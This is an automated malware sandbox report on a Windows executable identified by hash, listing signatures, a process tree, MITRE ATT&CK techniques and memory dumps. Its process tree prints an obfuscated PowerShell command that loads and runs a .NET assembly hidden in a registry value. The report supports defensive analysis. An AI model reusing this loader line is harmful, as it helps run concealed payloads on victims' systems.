b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
63s
max time network
15s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 02:17

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Reason

Machine shutdown

Report Analysis Logs

General

Target

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

discovery execution

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description	pid	Process	procid_target
PID 2716 created 412	2716	powershell.EXE	5

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.EXE

pid	Process
2716	powershell.EXE

Drops file in System32 directory 1 IoCs

Processes:

powershell.EXE

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description	pid	Process	procid_target
PID 2716 set thread context of 2868	2716	powershell.EXE	32

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.EXE

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40d16c6339f4da01	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.EXEdllhost.exe

pid	Process
2716	powershell.EXE
2716	powershell.EXE
2868	dllhost.exe
2868	dllhost.exe
2868	dllhost.exe
2868	dllhost.exe
2868	dllhost.exe
2868	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEdllhost.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.EXE
Token: SeDebugPrivilege	2716	powershell.EXE
Token: SeDebugPrivilege	2868	dllhost.exe
Token: SeAuditPrivilege	832	svchost.exe

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

taskeng.exepowershell.EXEdllhost.exewinlogon.exe

description	pid	Process	procid_target
PID 2336 wrote to memory of 2716	2336	taskeng.exe	30
PID 2336 wrote to memory of 2716	2336	taskeng.exe	30
PID 2336 wrote to memory of 2716	2336	taskeng.exe	30
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2716 wrote to memory of 2868	2716	powershell.EXE	32
PID 2868 wrote to memory of 412	2868	dllhost.exe	5
PID 2868 wrote to memory of 464	2868	dllhost.exe	6
PID 2868 wrote to memory of 480	2868	dllhost.exe	7
PID 412 wrote to memory of 2476	412	winlogon.exe	33
PID 412 wrote to memory of 2476	412	winlogon.exe	33
PID 412 wrote to memory of 2476	412	winlogon.exe	33
PID 2868 wrote to memory of 2476	2868	dllhost.exe	33
PID 2868 wrote to memory of 488	2868	dllhost.exe	8
PID 2868 wrote to memory of 580	2868	dllhost.exe	9
PID 2868 wrote to memory of 656	2868	dllhost.exe	10
PID 2868 wrote to memory of 748	2868	dllhost.exe	11
PID 2868 wrote to memory of 792	2868	dllhost.exe	12
PID 2868 wrote to memory of 832	2868	dllhost.exe	13
PID 2868 wrote to memory of 976	2868	dllhost.exe	14
PID 2868 wrote to memory of 284	2868	dllhost.exe	15
PID 2868 wrote to memory of 368	2868	dllhost.exe	16
PID 2868 wrote to memory of 1060	2868	dllhost.exe	17
PID 2868 wrote to memory of 1100	2868	dllhost.exe	18
PID 2868 wrote to memory of 1152	2868	dllhost.exe	19
PID 2868 wrote to memory of 1196	2868	dllhost.exe	20
PID 2868 wrote to memory of 1216	2868	dllhost.exe	22
PID 2868 wrote to memory of 1192	2868	dllhost.exe	23
PID 2868 wrote to memory of 1576	2868	dllhost.exe	24
PID 2868 wrote to memory of 1952	2868	dllhost.exe	25
PID 2868 wrote to memory of 1924	2868	dllhost.exe	26
PID 2868 wrote to memory of 2336	2868	dllhost.exe	29
PID 2868 wrote to memory of 2476	2868	dllhost.exe	33

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c2b19116-079b-4143-b851-e30ffe1c8e8d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- C:\Windows\system32\wlrmdr.exe
  -s -1 -f 2 -t You are about to be logged off -m Windows has encountered a critical problem and will restart automatically in one minute. Please save your work now. -a 3
  2⤵
  PID:2476

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:580
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1192
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1576
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:656
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:748
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:792
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1152
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {7DDCDF26-DBCC-4418-91B3-366222C5C239} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2716
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:976
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:284
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:368
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1060
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1100
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1216
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1952
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1924

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5.exe
  "C:\Users\Admin\AppData\Local\Temp\b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/412-39-0x0000000036E40000-0x0000000036E50000-memory.dmp

Filesize
64KB

Download
memory/412-202-0x0000000000820000-0x0000000000845000-memory.dmp

Filesize
148KB

Download
memory/412-25-0x0000000000820000-0x0000000000845000-memory.dmp

Filesize
148KB

Download
memory/412-29-0x0000000000850000-0x000000000087B000-memory.dmp

Filesize
172KB

Download
memory/412-37-0x0000000000850000-0x000000000087B000-memory.dmp

Filesize
172KB

Download
memory/412-38-0x000007FEBD5D0000-0x000007FEBD5E0000-memory.dmp

Filesize
64KB

Download
memory/412-27-0x0000000000820000-0x0000000000845000-memory.dmp

Filesize
148KB

Download
memory/412-56-0x0000000000820000-0x0000000000845000-memory.dmp

Filesize
148KB

Download
memory/412-59-0x0000000076E51000-0x0000000076E52000-memory.dmp

Filesize
4KB

Download
memory/412-28-0x0000000000850000-0x000000000087B000-memory.dmp

Filesize
172KB

Download
memory/464-44-0x00000000008D0000-0x00000000008FB000-memory.dmp

Filesize
172KB

Download
memory/464-52-0x00000000008D0000-0x00000000008FB000-memory.dmp

Filesize
172KB

Download
memory/464-53-0x00000000008D0000-0x00000000008FB000-memory.dmp

Filesize
172KB

Download
memory/480-73-0x0000000000260000-0x000000000028B000-memory.dmp

Filesize
172KB

Download
memory/480-75-0x0000000036E40000-0x0000000036E50000-memory.dmp

Filesize
64KB

Download
memory/480-65-0x0000000000260000-0x000000000028B000-memory.dmp

Filesize
172KB

Download
memory/480-74-0x000007FEBD5D0000-0x000007FEBD5E0000-memory.dmp

Filesize
64KB

Download
memory/2476-205-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2476-102-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2716-10-0x0000000076CE0000-0x0000000076DFF000-memory.dmp

Filesize
1.1MB

Download
memory/2716-5-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-1-0x0000000019C20000-0x0000000019F02000-memory.dmp

Filesize
2.9MB

Download
memory/2716-0-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2716-24-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-11-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-135-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-9-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2716-2-0x0000000000970000-0x0000000000978000-memory.dmp

Filesize
32KB

Download
memory/2716-3-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-8-0x00000000012D0000-0x00000000012FA000-memory.dmp

Filesize
168KB

Download
memory/2716-7-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-6-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-4-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2868-60-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2868-20-0x0000000076CE0000-0x0000000076DFF000-memory.dmp

Filesize
1.1MB

Download
memory/2868-55-0x0000000076CE1000-0x0000000076D7C000-memory.dmp

Filesize
620KB

Download
memory/2868-16-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2868-14-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2868-13-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2868-12-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2868-19-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2868-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2868-203-0x0000000076E00000-0x0000000076FA9000-memory.dmp

Filesize
1.7MB

Download
memory/2868-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads